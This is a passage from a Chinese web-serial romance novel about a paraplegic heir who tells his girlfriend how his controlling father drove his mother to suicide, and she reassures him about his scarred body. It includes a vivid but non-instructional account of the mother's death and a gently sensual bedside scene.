——傅瑾承,你承认吧,你也是一个疯子,一个和我一样的疯子。 傅行止的话在他的脑海之中不断地徘徊着,那张脸道貌岸然地笑着,他的父亲站在道德的悬崖下,对站在崖边的他伸出了双手。 那双手死死地拉住了他的轮椅,想要将他一起扯入无边的深渊中。 傅瑾承的脸上出现了挣扎,他挣扎着想要逃离悬崖,却被轮椅禁锢着,一下下,被他拉到崖沿。 “阿承?阿承?” 见傅瑾承眼眸空洞,宋知念忙拉紧了他的手,半靠在床边,一下下地摸着他的脑袋、脸颊,试图唤醒他的意志。 她猜到了他们父子之间关系差,可没料到,到了这样的地步。 宋知念干脆起了身,和他一样半靠在床上,手从他的脖颈后穿过,半抱住了他。 傅瑾承像是终于有了反应,他的目光渐渐聚焦。 他侧过身,靠在了她的怀里。 宋知念抚摸着他的头发,手指从他的发丝之中穿过,带着令他心安的触感;她时不时低下头,感受他的体温。 许久之后,傅瑾承终于动了动,他疲惫地靠在她的怀里,肩部蜷缩着,将自己完全置于她的怀抱之中。 傅瑾承的个子很高,这样靠在她怀里,显得他们的动作看上去有些滑稽。 “念念,我和他不一样。” 他说。【魔蝎小说 mo xie xs .c om】 50-60 第51章 第51章傅行止恨他,他也同样恨…… “你不会和谁一样?” 宋知念侧靠着头,微微拉开了一些和傅瑾承之间的距离。 但是这一个疑问,下一瞬间就被心疼所打破。 从她的角度看去,能够清晰地看到傅瑾承脸上现在红肿起来的巴掌印,那上面已经被涂了药,可看上去依然严重。 足以看出,扇他的人用了多大的力气。 “是傅行止吗?” 宋知念将掌心覆盖在他的脸上,掌心之下,那块肌肤滚烫的异常。 能打他的人,除了傅行止,宋知念想不出其他的人。 傅瑾承轻轻地嗯了几声,像是回答她这一个疑问,也像是默认了她的第一个提问。 他拂开了宋知念的掌心,却在下一刻把宋知念刚刚将两人分开的距离弥补了起来,如同方才一样缩进了她的怀里。 宋知念有些哭笑不得,她们之间方才的距离太近,两人之间的空气并不流通。 她有些无奈地捏捏傅瑾承的后颈:“我是怕你闷到自己。” 但他却摇了摇头,依然靠在她的怀里,一副不愿离开的模样。 宋知念也没有拦他,她哼着不成调的小曲,顺着他的背部的脊椎向下抚摸,试图给他放松背部的肌肉。 过了一会,宋知念才猛然感觉被傅瑾承的靠着的那一片衣领处,似乎有些温热潮湿的感觉。 她抚摸的动作一下下变慢,原本在他感知平面以下的手,重新转回到了脖颈处。 她的下颚抵住他的额头,几乎是将他的上半身完全抱在了自己的怀里。 “怎么了,阿承。” 她轻声问道,手上的动作却没有停止:“他对你说什么了?” 在她离去之前,傅瑾承虽然因为自己父亲的到来有些情绪不佳,但远远还到不了现在这般的状况。 在这短短的一个多小时里。 他究竟,遭遇了什么? 傅瑾承没有回答她的问题,他声音听上去是平静的,但是他却像是控制不住一般轻轻地颤动了起来。 “念念,或许,我才是一切灾祸的根源。” 他的声音在穿越了衣物的阻隔,显得有些模糊不清,但是其中的悲恸,却还是清晰地传到了宋知念的耳中。 宋知念不明白傅瑾承为什么会这么说,她手中的动作停滞了一下,却还是继续竭尽所能地安抚他。 “阿承,你不是灾祸,你没有做错什么。” 傅瑾承于公于私,都已经做到了一名继承人、一个哥哥应该做的一切。 可他却在她的怀里摇了摇头。 “念念,是我的错。”傅瑾承推开了她,他抬起头,苍白的脸上惨然一笑: “如果不是我,或许我的母亲不会死。” 傅瑾承的表情是那般的悲痛与无力,令宋知念忍不住呆愣住了。 在她的印象里,傅瑾承从来都没有和他们说过他的家庭。 大学已经能称得上是个小社会,小到收集资料的班干、大到会互相传递信息的老师们,一个人的家庭情况如何,许多时候也都会口口相传 地被流传出去。 但是傅瑾承并不一样。 所有人都知道他的家境优渥,但是究竟优渥到何种地步,并没有人知道。 即使后面因为学生工作的缘故,大家和傅瑾承相熟起来,也只能猜到他和傅家有关系。 即使是宋知念,也只听到傅瑾承提到过自己的母亲和弟弟。 可是,每每当他提起的时候,他的脸上的表情是那般的真实,就像是将所有外在的伪装都卸下后模样。 傅瑾承对傅祈安都那般关心,宋知念并不相信傅瑾承的话。 “阿承,你不要听他的。” 她单只手捧住他的脸,用额头抵住他的额头,她的声音轻柔,随着话音飘过她的馨香,正不断地安抚着傅瑾承:“我相信你。” 即使在他不告而别的那些年,宋知念也从来不会相信,学校里那些有关傅瑾承移情别恋的流言。 她相信他并不是害死自己母亲的人。 也相信傅瑾承永远不会做背叛亲人,爱人的事情。 “念念。” 想起过去,傅瑾承的面色骤然惨白,他的声音和身体一起在颤抖,可他还是咬着牙说道: “我的母亲,她是在我面前走的。” 宋知念方才在父母那边,已经听闻了一部分关于傅行止逼死自己妻子和妻子家族的事情,他也知道傅行止的夫人是跳楼死的。 可是在所有版本的流言之中,似乎都没有提到傅家兄弟的存在。 “你知道跳楼的人跳下来会是什么样吗?” 傅瑾承像是完全已经进入了自己的情绪之中,即使宋知念再怎么用力去安抚,都无法阻止他近乎躯体化的颤抖。 “我看着她的鲜血从嘴巴、耳朵之中流出,我看着她的大腿在我面前震颤一般的抽动,她没有马上离开这个痛苦的世界,她看着我,还想和我说话,但是她的嘴里都是血,血从她的嘴巴之中涌出,我看不清她的口型,也不知道她在说什么。” 傅瑾承的声音带着浓烈的无助与痛意,他好像回到了那个下午,回到了那一天看到的争执。 “我的父亲,是个疯子。” 他痛苦地闭上了眼睛,眼泪从他的眼角滑落,在他的脸上留下水痕,最后隐没于枕间。 所有人都觉得傅家族长是少年才俊,在事业的鼎盛期娶了自己门当户对情投意合的妻子,并且在婚后迅速地有了他这个继承人。 所有人都觉得,这是幸福的一家人。 “一切的改变,都是因为我的出生。” 傅瑾承是带着傅家和娄家两家人的期望出生的,从他的出生之后,傅夫人的精力便从自己丈夫身上转移到了他的身上。 谁都没想到,这是噩梦的开端。 “傅行止自认我很爱我的母亲,他不能接受我的母亲将精力放在了我的身上,他请了保姆育儿师,无数的人围在我的身边,而他则一遍遍告诉我的母亲,她没有育儿师专业,她不配成为一个母亲,她应该安心地待在他的身边。” 可是傅行止错了,他再怎么样,都无法剥夺一位母亲对于自己孩子的爱。 说出这些事情对于傅瑾承来说并不是一件容易的事情,他说几句,往往都要喘着气缓一会儿。 宋知念安静地听傅瑾承说着,她轻轻为他拭去那些在他脸颊上的眼泪,时不时用自己的脸去触碰他的脸颊,缓解他的痛苦。 “他愤怒于我的母亲脱离了他的控制,他愤恨于我的存在,他曾经有好几次,打算对我动手。” 傅瑾承靠在宋知念的怀里,说到这里,他感受到她的僵硬,傅瑾承微微睁开了眼,对她笑笑,像是在安抚她:“我没事,傅行止当时想要对我动手,但被我的母亲察觉,并且拦住了他” 一个妻子能察觉出来丈夫的异常,一位母亲也能感受到别人在自己孩子身上的恶意。 但宋知念在意的不只是这些,她犹豫着问道:“那三年前,是他吗?” 三年前,傅瑾承出事,是意外吗? “不是他,那确实是一场意外。”傅瑾承摇摇头道: “可能,是我的报应吧。” 无论是不放心傅家的顾书屿还是他自己去找的私人侦探,能查到的都是意外。 当时的调查结果,在傅瑾承被傅行止当众侮辱的第二天,就被傅行止派人甩在了他的被褥上。 “他恨我,我也恨他。”傅瑾承笑笑:“但他知道祈安撑不起他的产业,他如果不想死了把家族毁在他的手上,就不得不找最好的医生来替我医治。” 但是傅行止也见不得他好就是了。 “傅行止在母亲生下我的第三年,就把她变相的软禁了起来,他想让我的母亲眼中只有他一个人,他去研究了斯德哥尔摩综合症,他想让我母亲成为那样的人。” 但作为一个拥有独立思想的女性,傅夫人怎么能容忍这样的事情。 她无数次地和傅行止吵架,争吵,却在一次次推搡和强迫之后,怀上了傅祈安。 “祈安的名字是母亲取的。”他微睁眼,看向宋知念,脸上的笑容之中凝着悲伤:“母亲当时问我好不好听,我说好听。” 却直到长大之后,他才明白母亲眼中的痛苦。 祈安,祈求安宁。 她究竟是被自己的丈夫逼到了什么地步,才会取下这个名字。 “祈安小时候又不停地哭闹,不能离开母亲,因为这样,她们两个人的矛盾进一步激化和恶化。” 但那时候,他已经渐渐长大了,明白了父亲和母亲之间诡异的关系,也知晓了父母之间的矛盾。 但是令傅行止没有想到的是,他的大儿子从来没有站在他这一边,他的大儿子不断地鼓动自己的母亲和他离婚。 他为傅瑾承请了最好的家庭教师,却还是无法控制自己的儿子的思想。 “他恨我在懂事之后不断地鼓动母亲和他离婚。” 傅瑾承积蓄了些力气,他用了力,将手搭在宋知念的身上,去感受她的体温。 他的身体在阵阵发冷,但是她却是如此温暖。 “他恨我,一次次试图帮助我的母亲逃离那座庄园、那座监狱、那座囚笼。” 傅行止想要阻断自己妻子和外界的一切联系,于是,在精心策划之后,他开始对自己的岳家,下手了。 娄家这些年并不是不想帮傅夫人,但他们知道硬碰硬碰不过傅行止,他们在庄园外面准备好了车,甚至请了保镖订好了私人飞机,想要把女儿送出国。 但无一例外,全部都失败了。 “娄家因为资金链断裂,求到了母亲这里,让她请傅行止帮忙。”傅瑾承的笑容带着无奈与自嘲:“可是,这一切本来就是傅行止设计的,他又怎么会听呢?” 他当时站在书房门口,听着原本温婉的母亲歇斯底里地和父亲吵架,听到里面不断传来的碰撞声。 傅瑾承已经听了许多年,他甚至已经有些习惯父母的争吵。 他以为,这只是无数吵架之中的一次。 到最后,盛怒的母亲推开了门,看到了站在门口的他,极怒之下,傅夫人对着自己的儿子,说了她人生之中的最后一句话。 “傅瑾承,早知道我就不应该生下你!” 十分钟后,站在花园之中的傅瑾承,看到了自己的母亲如同天上自由翱翔的飞鸟一样,进行了她人生之中最自由的飞翔。 因为他的出生,才开始了她悲惨的后半生。 因为他的出生,才有了家庭的悲剧。 傅行止恨他,他也同样恨自己。 第52章 第52章“拥抱我吧,傅瑾承。”…… 陈医生听完傅瑾承的情况之后,心下暗生不妙。 他比谢医生认识 傅瑾承还要早,从傅瑾承大学开始,陈医生就已经定期给他做心理疏导。 他正准备要敲门,却被一旁的谢医生拉了拉。 “宋小姐在里面,要不你先看看这个?” 谢医生努努嘴,指了指一直坐在房门口的傅祈安。 他还是保持着坐在地上的姿势,眼神有些空空的,想在发呆,不知道在想些什么。 “诺。” 谢医生抱着手,眼中之中颇有些无奈:“小傅总这个姿势已经快二十分钟了,你要不看看这个是怎么回事?” 陈医生被谢医生拉着,弯下腰正打算仔细观察,眼前的傅祈安却突然也像是受到了什么惊吓一样,猛地弹跳了起来。 砰—— 他们两个人就这样在空中撞到了一起,傅祈安被相撞的力道冲得撞到了墙上,陈医生因为躲闪不及,直接被撞坐到了地上。 “我去,陈医生。” 傅祈安龇牙咧嘴的揉着自己的后脑勺,因为突然的起身,他的脚也有些发麻,头疼脚麻,他甩着腿控诉道:“你吓死我了,那么大一张脸出现在我面前,我要被你吓死了!” 他刚正在发呆呢,就看到旁边一个阴影逐渐地靠近,倒是把傅祈安吓了一跳。 陈医生:…… 他无语地望了眼谢医生,眼里带着谴责。 刚刚他被谢医生说得还以为傅家大的没治好小的也有毛病了,结果到头来人是在发呆。 腿脚坐得发麻的傅祈安被旁边讪笑着的谢医生拖走了,陈医生揉着腰,敲了敲房门。 许久之后,门里才传来了轻柔的女声: “请进。” 房间里面算不上是昏暗,白色的纱帘已经被层层拉起,遮光帘半遮半掩的,将昏黄的夕阳投落于房间之内。 陈医生的目光落在床上,他的病人并没有像之前一样把自己整个人包裹在被子之中,病人的神色恹恹的,眼角的微红和一旁的纸巾,彰显着他方才失控的情绪。 但一切已经比陈医生想象得好上许多了。 “我去端晚饭,你让陈医生给你看看。” 宋知念给傅瑾承掖了掖被子,正打算离开,却发现自己被傅瑾承拉住了手腕。 “乖啦,先给医生看看。”她拍拍他拉着不放的手,小声道:“你要不看,我就生气回家了。” 听到宋知念的威胁,傅瑾承这才心不甘情不愿地松开了手。 傅宅的晚餐准备得异常丰盛,住家医生们会在二楼的值班室里用餐,空空荡荡的一楼主餐桌只有傅祈安和顾书屿,还有谢医生。 傅祈安是一副被顾书屿训斥过的模样,在顾书屿面前吃饭都有些小心翼翼的。 只有谢医生正在说最新的脑脊接口应用于截瘫的实验。 听到了谢医生的话中的内容,宋知念干脆也拉开凳子听了半天。 这一项技术还没完成临床概念验证手术,谢医生也只能说个大概。 宋知念和顾书屿对视了一眼,也心知这个消息,只能先给作为家属的他们一丝渺茫的希望。 管家将两人的餐食都放到了推车上,先推到了楼上,宋知念见时间差不多,和几人告了别,回到了楼上。 顾书屿和傅祈安明天都要加班,他们用了餐都先回家,宋知念倒不用早起,便打算留到傅瑾承休息的时候再回家。 三楼的房门是半掩着的,宋知念拉开房门,空荡的楼道里发出一声吱嘎的响声。 “我还正想给您电话呢。” 陈医生坐在外间的沙发上,听到声音,他抬起头,眯眯眼笑着:“他今天的状态还可以,有些疲惫也是正常的,晚上让他早些休息。” “好的,”宋知念应道:“那晚上康复还要做吗?” 傅瑾承每天有运动康复也有理疗,晚上时间一般会安排理疗。 “我和老谢说了,今天先不做。” 陈医生摇摇头,示意宋知念看向床边的移动餐桌:“刚刚管家也把晚餐送来了,傅总用了餐就可以准备休息了。” 精神的疲惫同样会影响到身体的疲惫。 陈医生今天并不值班,他起身和宋知念道了别,关上了房门,将安静的室内留给了他们两人。 宋知念将移动的餐桌推到床边,才发现傅瑾承眉目紧锁,呼吸却悠长平稳、双手正合十的放在被单之上,一副睡着了的模样。 难怪呢,她刚和陈医生说话,他一点声音都没有。 宋知念笑笑,坐到了床边,手枕靠在床上,趴着看着他。 也不知道是因为心灵的痛苦,还是因为身体的痛苦,他的眉眼在熟睡之中仍然未曾松开,薄唇紧抿着,像是在忍受着什么。 宋知念将手搭在了他的眉间,顺着太阳穴按着他的眼周,将他紧蹙的眉眼松开。 她的动作很轻,但依然吵醒了傅瑾承。 他还有些半梦半醒,眼睑微阖着,像是有一层薄雾笼罩在他的眼中。 傅瑾承呢喃道:“念念……” 他想要去触碰宋知念,但是今天的精神和身体受到的冲击在这场短暂的睡眠之后完全侵蚀了他的身体。 傅瑾承的手动了动,身体轻颤,却还是没能抬起来。 “想要什么?” 宋知念见傅瑾承的身体颤动了下,她下意识地轻声问道:“想要吃饭?还是想要喝水?” 傅瑾承的上下唇都有些干燥,他的手现在连吸管都搭不上,吃饭也只能喊护工像给幼童一样来给他喂食。 但他并不想用餐,也并不想吃饭。 “都不想。”他的脑袋在白枕上摇了摇,嘴角像是勾着幻意的微笑: “我想抱你。”傅瑾承的手在被单上艰难地挪啊挪,终于挪到了床边,他用手指勾住了她的衣物。 见宋知念似乎想说什么,傅瑾承补充道: “我想像第一次拥抱你那样抱你。” 他们的第一次拥抱是在宋知念第一次独立完成一场活动的策划布置之后。 那时候宋知念还在大一,一直以来对自己能不能安排学长学姐来进行工作的宋知念一直都有些对自己的不自信。 即使林芸一直在旁边替她打气,这个活又是宋知念自己接下的,但在活动开展的前一周,宋知念还是陷入了焦虑的情绪之中。 她每天拉着林芸的手想逃离学校,甚至都开始幻想自己能冲个冷水澡靠发烧来逃避现实。 但是那一天还是来了。 那是学校团委策划的一场联合各个学院的团委的大型活动,宋知念失眠了整整一个晚上,最后顶着黑眼圈到了会场。 活动开展没有宋知念预想的困难的算是顺利,即使中间有场务人员的卡壳,但在主持人的救场之下,一切也显得非常顺利。 活动结束之后,宋知念抱着林芸喜极而泣。 舞台搭得快,拆得也快,几乎就是在人群散场之后的一个小时,整个舞台都已经变成钢筋框架。 方才的热闹与现在地落寂形成了鲜明的对比。 每一次活动的举办,似乎都像是一场盛大的狂欢。 狂欢结束了,而举办这场狂欢的人却总是在结束之后,才突然感到精神放松下的疲惫与空虚。 宋知念还有些不想离去,她干脆坐在旁边的花坛上,看着面前正在拆除的舞台。 她正发着发呆,用手指戳着脚边的石子,却在这时候突然像是感受到了什么一样,猛然抬起头。 旁边的工人还在拆除舞台,在那些拆下的幕布边,他站在旁边,正含着笑看着她。 “学长!” 宋知念跑到了他的面前,听到了他含笑的声音。 “知念,你做得很好。” 在下一刻,宋知念像是找到了依赖一般,突然抱住了他。 傅瑾承并没有推开她,她听到了他轻轻地叹息。 再然后,他张开了自己风衣,将她完完全全的,拥抱到了自己的怀里,一只温热的大手在她的脑袋上揉了揉。 像是安抚,也像是鼓励。 “知念,辛苦了。” 曾经温热的大手此时却比她的还要冰凉,曾经能让她下意识依靠的身躯此时也已经躺在病榻之上。 他的笑虚 幻而又飘忽,就好像他所说的,也已经变成了一场遥不可及的梦。 宋知念得眼眶有些微微发热。 他想像曾经一样,能成为她怀抱依靠。 “那又不是做不到了。” 宋知念难得地固执了起来,她拉起他的手:“现在不也可以吗?” 傅瑾承嘴角勾起,眸光带着悲伤,却还是宠溺一样看着她。 不一样了。 他现在也还能抱她,她也还能像曾经那样抱他。 但是都跟第一次不一样了。 “可我偏偏觉得,就是可以。”宋知念拉开他的手,扯开他的被子:“你信不信我?” 她知道傅瑾承口中的拥抱是什么样的。 那样亲密无间的拥抱,那不仅是肌肤是接触,也是不沾情欲的亲吻。 她的动作很大,把傅瑾承吓了一跳。 他却在转瞬间明白她想要做什么,他下意识地想要去拦住她,却被她温柔地制止住了。 她爬到了床上,双腿跪撑在他的腰腹两侧,两只手撑在他的肩上。 夏日的着装清凉,她的动作幅度又很大,将她白皙的腰线完完全全地展露在了他的眼前。 白嫩的肌肤,鲜艳的红唇,晃得傅瑾承有些迷离。 在一片旖旎之中,他听到了她的声音。 “拥抱我吧,傅瑾承。” 第53章 第53章傅瑾承,我爱你。 她就这般跨坐在他的腰间。 那白皙细腻的肌肤似乎是她的引诱,也是对他的奖励。 他的手缓慢地在白色的床褥上移动着,一点点接近、靠近她。 终于,在他终于触碰到那一片温热肌肤的时候,她也俯下身,同时拥抱住他。 傅瑾承的手怀在宋知念的腰间。 他的体温比她的凉上许多,每一次和腰间肌肤的触碰,都能换来掌中皮肤下意识的瑟缩。 但是傅瑾承知道,宋知念终于完完全全地,被他拥抱在了怀中。 她们的身体贴合得是如此的紧密,因为重力的原因,身体之间似乎连一丝缝隙都没有留下,完美地嵌入在了他的怀中。 傅瑾承知道她的腰腹下是他的身体,他感受不到她压在自己身上的力道,也感受不到她的触碰,他只能靠着眼前能看到的场景和脑海之内想象肌肤触碰。 但是即使只是靠脑海内想象出来的紧密,都令他的灵魂感到颤栗。 “阿承,你低一下头。” 宋知念的下巴抵在他的肩上,她在他的耳边用气音说这话,令他的意志一步步地沉沦于好似是美梦的现实。 傅瑾承听话地低下了头。 他的脸被她捧起,从他的额头上,一点点地向下轻吻。 “傅瑾承。” 她轻吐着他的姓名,将自己的唇落在他的额间,落在他眼睑之上,落在他的脸颊、鼻尖。 她应该亲吻他的唇了。 他想。 但是预想之中的轻吻迟迟没有到来,傅瑾承鸦羽微颤,他抬起眼睑,沙哑的声音之中带上了些欲求不满的疑惑: “念念?” 宋知念勾着他的下巴,让他的目光无法逃离自己,这才拉着他的一只手,一起去捏了捏他腰间的皮肉。 “傅瑾承,你胖了呀。” 一瞬间,平静的水面像是被投下了一颗石子。 满室的旖旎如同波浪一样向岸边席卷而去,不再停留。 宋知念笑眯眯地望着他,丝毫不觉得那是什么煞风景又是怎样令他难言的事情。 她的两腿横跨在他的腰腹之上,她腿下的皮肉比常人要软上许多,松松垮垮的,只能在抚摸他腰侧的时候还能感受到一些曾经健身留下的痕迹。 傅瑾承的眼神清明了许多,他想要回避她的目光,却被她的手指牢牢地勾着。 “那是……” 他的情感想要说那是因为他一直坐轮椅的导致脂肪堆积,他想要和她说他会努力地去控制的,他想要让她不要嫌弃自己,可是那些话还没有说出口,便变他的理智牢牢地压下了。 傅瑾承比所有人都清楚,就算他再怎么努力,都回不到从前了。 他突然想到,她没有亲吻他的唇,就是因为发现了自己那般可怜的、诡异的、异于常人的一身皮肉吗? 腰腹是积累的松垮,腰以下又是萎缩的肌肉和皮肤包裹着的骨关节。 傅瑾承眼眸晦暗,眼神像是逃避般地往床边看去。 他的转变,宋知念当然看得清楚。 被她拉着的那只手根本不愿意触碰,像是排斥着同样属于一个主人的身体,在她腰间的手却是紧紧地拉着她的衣服,像被她丢弃的模样。 宋知念在心里叹了口气,为自己的鲁莽而感到后悔。 她太心急了,她迫切地想要傅瑾承知道爱一个人是爱他所有的全部,却忘了他沁入骨髓的自厌。 他的目光之中带着挣扎,也有难得的委屈,傅瑾承哼了声:“你不能这样……” 你不能这般,引诱了我,却又放任不管。 傅瑾承的话还来不及说完,便被她的动作定格在了原地。 他的眸光微微一缩,理智甚至都来不及做出阻止的反应,原本放在她腰间的手都摔落于床铺之上,他挣扎地撑着身子想要去拉她,就连呼吸都粗重了许多。 “念念…你别……” 他颤抖着伸出手想要去触碰她,连话都说不完整了:“你上来……你上来……” 宋知念移动了下身子,她躲避了傅瑾承颤抖的双手,顺便还帮他调高了床头的位置,以便让他更加清晰地看着自己的动作, 那些还在床上的被褥拦住了她的腿,也被她随意地踢了踢,踹到了床下。 这下,她终于可以跪坐在他的大腿上。 “不……” 傅瑾承还想要去拉她,他大口大口喘着气,连语调之中都带上了凄凉的哀求:“念念,求求你……别看……” 他见过那一片布料下的风光,原本勾勒紧致的线条早已经消失不见,只留下腰腹之中堆积的脂肪。 傅瑾承不想让她看到,她刚刚都已经说了自己胖,他又怎么能让她看到那上面的疤痕,那上面因为轮椅束缚而久久不会消散的红痕呢? 他的哀求并没有什么用,她抓着他的那双手已经装入了手心,和他十指相扣着,像是在给予他安心的力量。 傅瑾承感到浑身一阵阵的发凉,浑身的血液在此刻像是在蹦腾上涌。 他的情绪在今天已经受到了极多的刺激,但是远远没有眼前所看到的这一切,更让他来得目眦欲裂。 “不要……” 宋知念的手搭在了他的腰间衣物上,在她的下身,傅瑾承甚至还能看到若隐若现的导尿管。 “别怕。”宋知念望着他的眼眸,伸出手掀开了他上衣的下摆。 傅瑾承呼吸一滞,他呆愣着看着她的动作,只觉得身边的一切声音好似都消失了。 蓝色的上衣布料下,是软瘫在腹部的一摊泥肉,那到车祸时候形成的伤口还横跨在他的腹部,将那勉强还能说一声肥美或者是白皙的肉块愣生生地割开。 “别看……”傅瑾承颤抖着手胡乱地摆着,想要去拉她,他们交握的手心已经是一片的潮湿, 傅瑾承哀求着望着宋知念,想要去阻拦她的动作:“好丑……” “阿承,你骗我。”宋知念紧紧地握住他的手,她注视着他的腹部许久,方才抬起头道: “不丑,真的。” 他的腰腹远远没有他担心的那样丑陋,腰侧的还能看到曾经起伏的线条,苍白的皮肤覆盖在腰间,只有小腹的位置有些久坐久躺导致脂肪堆积。 只有那一道像是被撕拉后愈合的疤痕,从左胸横跨到了肚脐旁,如同一条蜈蚣盘踞在他的皮肤之上,旁边的皮肤上,还有因为轮椅束缚带长期束缚导致的红痕。 宋知念覆盖于那道伤疤之上,她抚摸着,从疤痕的最上方开始,在一点点地抚摸到他肚脐的位置。 被眼睑挡住眼中带着庆幸,即使愈合了都还是这般的惨烈,她根本无法想象,车祸之时的模样。 “这也是车祸留下的吗?”她问。 傅瑾承嗯了一声。 他被车从背部撞过来,身体前倾倒下的时候被旁边的铁栅栏划到,直直地被撕拉出来了一条狭长的伤口。 “痛吗?”她抬起头问道, 眼中已经有了泪光。 傅瑾承一时有些手足无措,他摇了摇头,想要替她擦去眼泪,但是手连抬起的力气都已经完全没了。 “车祸那一瞬间浑身是痛的。”傅瑾承如实道,他的情绪还未平稳,就连的话都说得断断续续的:“后面就没感觉了。” 他应该是没怎么感受过这道伤口的疼痛的,傅瑾承想。 脊髓的损伤,让这一块也失去了痛觉。 “别看了,念念。”傅瑾承别过头,不想再看到眼前的这一幕。 她的身形是如此的纤细均匀,此刻坐在他的身上,更是将他的丑陋展露得完全。 她说得不丑,应该只是不让他伤心吧。 傅瑾承自嘲地笑了笑。 但是他的头却被她掰了回来,傅瑾承被迫着睁开眼睛,无奈地看着宋知念。 以往温婉文静的女孩子在此刻像是女土匪一样一边掀着他的衣服,一边强迫他和自己对视着。 她在他的面前俯下身,傅瑾承下意识地闭上眼,却突然意识到她的目标并不是他的脸。 傅瑾承猛然睁开眼,看向下方。 “我很恶心……你不要……” 他的身躯是那般的恶心,她那样美好的人,怎么能—— “傅瑾承,你要相信,” 宋知念的手点在那道伤疤上,见他看来,她笑着对用口形他比了最后几个字,最后在他近乎崩溃的目光之中,亲上了那道疤痕。 轰。 傅瑾承的大脑之中只余一片轰鸣之声。 他明明是没有感觉的,却在这一刻像是感到自己这处伤口如同火山裂口一般将沸腾的熔岩代入了他的四肢之中。 “念念……” 傅瑾承一时都不知道自己该说什么,他认为的不堪与丑陋,被他心爱的女孩子像是珍宝一样地吻了上去,而那写在腰间的红痕,也被她一点点抚摸过去。 “念念,”他只能像是迷路的孩子,不断地呼唤她的名字,恳求着她的垂怜:“上来……” 他想要抱她,想要亲吻她,想要把自己这副身躯所能有的一切都献给她。 宋知念没有再犹豫,她坐直身体,重新捧起他的脸,询问道:“刚刚我说的话,你看见了吗?” “嗯。” 傅瑾承仰着脸等待着她,就连话音的尾调都带上了激动的颤抖。 宋知念满意地笑了笑,她跪坐在他的身上,将那一个傅瑾承刚刚期盼许久的吻,落在他的唇边。 他急促的呼吸被她引导着平缓了下来,身体之中奔腾的血液也慢慢地平息了下去。 意志正在沉沦,但是脑海内那句无声的话却在不断徘徊着。 他看到了她说的—— 傅瑾承,你要相信, 我爱你。 第54章 第54章他又想亲她了。 夜幕低垂着降临,隔着窗户还能看到城市高楼闪烁的灯光秀,但房间之中只开着一盏昏黄的床头灯。 宋知念低头看了看正靠在自己身边侧躺着的傅瑾承,他的眉眼难得地舒展,只是留在眉眼间的深深的皱褶还未完全消散。 傅瑾承的精神不佳,不过亲吻了片刻,便已经靠在她的身上闭目喘气,后面更是连晚饭都没来得及吃,便侧靠在她的肩头昏昏沉沉地睡了过去。 宋知念看了眼屏幕上的时间,时间差不多过了一个小时,按照她在网上看的消息,他应该要准备翻身了。 他的皮肤不能长期受压,尤其是那些身上在地板上摔出的新伤口更要仔细看护。 宋知念小心翼翼地动了动身子,想要让他完全靠回在枕头上。 她慢慢地将自己的肩膀离开他的侧脸,让靠枕填补他的位置,但他可能感受到了她的动作,她的肩膀刚刚离开,便听到了傅瑾承有些不满地哼声。 还没醒,宋知念松了口气,想要抽出自己被他抱在怀里的手。 他靠在她身上的姿势很霸道,除去头一定要靠在她的身上之外,那双交握的手也一直不肯松开,后面更是直接像是藏宝似的圈在了自己的怀里。 “阿承?”宋知念小声唤着他,手指张开,想要从手指尖的间隙之中抽出。 他似乎感受到了,皱皱眉,又握紧了交握的手。 “醒醒啦。”宋知念看到了谢医生发来的消息,虽然并不忍心,但是她还是推了推傅瑾承: “阿承,要翻身了,谢医生说你今晚的屈伸也还没做。” 傅瑾承微微睁开眼,迷蒙得睁开眼,嗯了一声,算是回应,但是他的手却没有松开。 那只交握的手因为一直保持一个动作,有些又麻又胀。 宋知念有些无法,她被傅瑾承牵制得都有些抽不开身,只能跪坐在床边,想要把自己的手从他的怀里抽出来。 她的动作不大,但是傅瑾承却被惊醒了。 傅瑾承的眼神还有些懵懵懂懂,顺着光源看向了她,她身后床头灯还有些刺眼,傅瑾承有些不适地微眯着眼,手指还是想要去勾住她。 宋知念安抚似的拍拍他,转了转自己的手腕,却没有再理会他一直对她伸出的手。 门外的敲门声响起,宋知念刚想回答,却感到自己的手腕被人拉住了。 昏黄的灯光遮住了傅瑾承的眼睑,阴影落于他的眼部,他的唇抿得紧紧的,令人看不清他的表情。 他有些不满。 “不要闹脾气。” 宋知念刮了刮他的鼻子,严肃道:“这是为了你好。” “少活动一次我也不会死。”傅瑾承松开手,别过脸嘟囔:“有没什么用。” 他不想活动,也不喜欢翻身。 每次和活死人一样也并不是因为厌恶复健,只是单纯觉得没用却还要折腾。 宋知念瞪了他一眼,朗声道:“请进。” 不仅是翻身,傅瑾承的腿在睡前也是要屈伸,以免僵化,这也是宋知念必须让他活动的原因。 房间的灯光被宋知念打开,傅瑾承躺在床上,看着自己的腿跟着护工的动作被迫进行着摆动。 他已经好久没有那么认真看过自己的腿了,这种视觉的冲击让他感到一阵陌生。 护工手里托着的是他的脚掌,要是没有任何支撑,这只脚往往会不由自主地下垂,绷直的脚背会显得皮肤下的血管与青筋越发的明显。 傅瑾承的目光再往下看去,被护工的另一只手固定的是他的小腿肚,以前的肌肉线条在此时消失得一干二净。 “念念,” 傅瑾承别过脸,看向坐在他床边的宋知念,欲言又止。 宋知念没有看他翻身的下半身,她还记得傅瑾承厌恶别人看到他模样,就连此时别人再给他翻身,她也将目光看向了别处。 听到傅瑾承的呼唤,宋知念回过神来,转头望向傅瑾承:“怎么了?” 他不想让她看,可是又是她说了,他要相信她, 犹豫了片刻,傅瑾承还是摇了摇头。 宋知念以为他还在生气把他吵醒复健的事情,他今天情绪波动太大,没怎么好好休息过,但是又因为身体的原因不得不几次被别人吵醒。 她垂下脸,耳边的长发因为她的动作掉落在他的耳边。 “等做完复健我们就休息,好不好?”宋知念安抚道:“我等你睡了再回家。” 傅瑾承摇了摇头,她的发丝随着他的动作不断地触碰着他的脸颊,若即若离的。 “念念。” 他的嘴角勾起,像是做了很大的决定: “你看吧。” 宋知念还没有反应过来,便看到傅瑾承的目光率先投在了前方。 他软绵绵的小腿肚搭在了医生的手上,护工正在给他屈伸活动着他小腿。 随着护工的动作,那条属于他的腿在空中不停地晃动着,纤细异常的腿甚至能被医生一掌握住,他还能在医生的指缝间看到那些被手指夹在了其中的皮肤褶皱。 这像什么呢? 像是一滩被挂在树枝上的猪油。 猪油是白花花的,悬挂于树上的时候还会颤抖一番, 而那些纤细的树枝似乎都接不住沉重的猪油,一副随时会折挂的模样。 傅瑾承见过这一幕,在很多年前,他曾经还年幼的时候。 他们家在捕猎区是可以合法狩猎的,傅祈安没有出生前,傅瑾承还经常会被傅行止带过去陪同。 那一天傅行止的运气不好,半天过去也只杀了两只野兔,农场主人为了招待傅行止,笑眯眯地把他们家的养殖的猪和羊牵了出来,询问傅行止的喜好。 